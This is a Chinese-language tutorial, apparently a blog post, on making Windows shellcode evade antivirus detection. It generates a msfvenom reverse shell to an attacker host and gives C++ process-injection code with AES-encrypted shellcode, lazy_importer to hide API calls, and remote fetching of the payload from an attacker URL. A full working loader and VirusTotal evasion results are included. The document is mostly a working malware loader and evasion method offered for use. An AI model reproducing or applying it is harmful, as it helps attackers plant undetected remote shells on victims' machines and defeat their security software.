免杀笔记之 aes 加 lazy_importer 加 shellcode 分离
字数 1166 2025-08-07 08:22:05
AES加密与Lazy Importer结合的Shellcode免杀技术
0x00 前言
本文详细讲解一种静态免杀技术,结合AES加密shellcode、lazy_importer去除符号和shellcode分离三种技术,有效绕过杀毒软件的静态检测。技术思路来源于captmeelo.com的lazy-maldev文章。
0x01 环境准备
- 开发环境:VS2019
- 攻击机:Kali Linux (192.168.94.141)
- 受害机:Windows 10 (192.168.94.128)
- 工具:CFF Explorer
- 技术基础:进程注入知识
生成Shellcode
在Kali上使用msfvenom生成shellcode:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.94.141 LPORT=1234 -f c -b \x00\x0a\x0d
使用nc监听1234端口:
nc -lvp 1234
0x02 基础注入代码分析
初始注入代码(裸奔版本):
#define _CRT_SECURE_NO_DEPRECATE
#include "Windows.h"
#include "stdio.h"
int main(int argc, char* argv[])
{
unsigned char buf[] = "msf生成的shellcode";
HANDLE processHandle;
HANDLE remoteThread;
PVOID remoteBuffer;
printf("Injecting to PID: %i", atoi(argv[1]));
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof buf, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, buf, sizeof buf, NULL);
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(processHandle);
return 0;
}
此代码存在两个主要检测点:
- Shellcode本身
- 敏感API函数调用(OpenProcess, VirtualAllocEx等)
0x03 Shellcode加密处理
AES加密实现
使用AES-CBC模式加密shellcode,推荐使用以下库之一:
- SergeyBel/AES
- kokke/tiny-AES-c
- kkAyataka/plusaes
加密代码示例:
#define _CRT_SECURE_NO_DEPRECATE
#include "Windows.h"
#include "stdio.h"
#include "aes.hpp"
int main(int argc, char* argv[])
{
unsigned char buf[] = "msf生成的shellcode";
SIZE_T bufSize = sizeof(buf);
unsigned char key[] = "fengwenhuafengwenhuafengwenhua.";
unsigned char iv[] = "\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01";
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, key, iv);
AES_CBC_encrypt_buffer(&ctx, buf, bufSize);
// 输出加密后的shellcode
printf("unsigned char buf[] =\n");
int count = 0;
for (int i = 0; i < bufSize - 1; i++) {
if (count == 0) printf("\"");
printf("\\x%02x", buf[i]);
if (++count == 15) {
printf("\"\n");
count = 0;
}
}
printf("\";\n");
return 0;
}
注意事项:
- 必须处理PKCS7填充问题,因为shellcode长度可能不是16的整数倍
- 推荐使用256位密钥(AES-256)增强安全性
解密执行代码
unsigned char buf[] = "aes解密后的shellcode";
SIZE_T bufSize = sizeof(buf);
unsigned char key[] = "fengwenhuafengwenhuafengwenhua.";
unsigned char iv[] = "\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01";
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, key, iv);
AES_CBC_decrypt_buffer(&ctx, buf, bufSize);
0x04 敏感函数隐藏技术
Lazy Importer技术
使用JustasMasiulis/lazy_importer库隐藏API调用痕迹:
#include "lazy_importer.hpp"
// 替换所有敏感API调用
processHandle = LI_FN(OpenProcess)(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer = LI_FN(VirtualAllocEx)(processHandle, nullptr, bufSize, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
LI_FN(WriteProcessMemory)(processHandle, remoteBuffer, shellcode, bufSize, nullptr);
remoteThread = LI_FN(CreateRemoteThread)(processHandle, nullptr, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, nullptr, 0, nullptr);
LI_FN(CloseHandle)(processHandle);
Syscall替代方案
作为备选方案,可以使用直接系统调用来绕过API监控,但实现较为复杂。
0x05 Shellcode分离技术
通过网络远程加载加密的shellcode,进一步降低检测率:
#include <tchar.h>
#include <wininet.h>
#pragma comment(lib, "wininet.lib")
#define BUF_SIZE 1024
LPSTR GetInterNetURLText(LPSTR lpcInterNetURL, unsigned char* buff)
{
HINTERNET hSession = InternetOpen(_T("WinInet"), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if(hSession != NULL) {
HINTERNET hRequest = InternetOpenUrlA(hSession, lpcInterNetURL, NULL, 0, INTERNET_FLAG_RELOAD, 0);
if(hRequest != NULL) {
DWORD dwBytesRead;
char szBuffer[BUF_SIZE] = {0};
if(InternetReadFile(hRequest, szBuffer, BUF_SIZE, &dwBytesRead)) {
RtlMoveMemory(buff, szBuffer, BUF_SIZE);
}
InternetCloseHandle(hRequest);
}
InternetCloseHandle(hSession);
}
return 0;
}
// 使用示例
char buf[BUF_SIZE] = { 0 };
char url[MAX_PATH] = "http://192.168.94.141:8000/buf.txt";
GetInterNetURLText(url, buf);
0x06 其他优化建议
- 使用HeapAlloc代替VirtualAlloc
- 针对特定杀毒软件添加混淆层
- 使用VMP等加壳工具进一步保护代码
- 实现shellcode的分散加载技术
完整代码示例
完整实现结合了AES加密、lazy_importer和网络加载三种技术:
#define _CRT_SECURE_NO_DEPRECATE
#include "Windows.h"
#include "stdio.h"
#include "lazy_importer.hpp"
#define BUF_SIZE 4096
#include <iostream>
#include "AES.h"
#include "Base64.h"
using namespace std;
const char g_key[17] = "asdfwetyhjuytrfd";
const char g_iv[17] = "gfdertfghjkuyrtg";
string DecryptionAES(const string& strSrc)
{
string strData = base64_decode(strSrc);
size_t length = strData.length();
char* szDataIn = new char[length + 1];
char* szDataOut = new char[length + 1];
memcpy(szDataIn, strData.c_str(), length + 1);
memcpy(szDataOut, strData.c_str(), length + 1);
AES aes;
aes.MakeKey(g_key, g_iv, 16, 16);
aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);
// PKCS7Padding去除
if (0x00 < szDataOut[length - 1] <= 0x16) {
int tmp = szDataOut[length - 1];
for (int i = length - 1; i >= length - tmp; i--) {
if (szDataOut[i] != tmp) {
memset(szDataOut, 0, length);
break;
}
else szDataOut[i] = 0;
}
}
string strDest(szDataOut);
delete[] szDataIn;
delete[] szDataOut;
return strDest;
}
int main(int argc, char* argv[])
{
// 远程获取加密shellcode
char buf[BUF_SIZE] = { 0 };
char url[MAX_PATH] = "http://192.168.94.141:8000/buf.txt";
GetInterNetURLText(url, buf);
// 解密shellcode
string strbuf = DecryptionAES(buf);
char buff[BUF_SIZE] = { 0 };
for (int i = 0; i < strbuf.length(); i++) {
buff[i] = strbuf[i];
}
// 转换shellcode格式
char* p = buff;
unsigned char* shellcode = (unsigned char*)calloc(strlen(buff)/2, sizeof(unsigned char));
for (size_t i = 0; i < strlen(buff)/2; i++) {
sscanf(p, "%2hhx", &shellcode[i]);
p += 2;
}
SIZE_T bufSize = strlen(buff)/2;
// 使用lazy_importer隐藏API调用
HANDLE processHandle = LI_FN(OpenProcess)(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
PVOID remoteBuffer = LI_FN(VirtualAllocEx)(processHandle, nullptr, bufSize, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
LI_FN(WriteProcessMemory)(processHandle, remoteBuffer, shellcode, bufSize, nullptr);
HANDLE remoteThread = LI_FN(CreateRemoteThread)(processHandle, nullptr, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, nullptr, 0, nullptr);
LI_FN(CloseHandle)(processHandle);
return 0;
}
效果评估
通过VT检测结果对比:
- 原始版本:多款杀毒软件检测
- AES加密后:检测率降低约50%
- 加入lazy_importer:进一步减少检测
- 分离shellcode后:仅剩少数检测
总结
本技术通过三重防护实现有效免杀:
- AES加密保护shellcode静态特征
- lazy_importer隐藏敏感API调用
- 网络分离shellcode避免本地存储
完整代码已上传GitHub:https://github.com/fengwenhua/lazy_importer_aav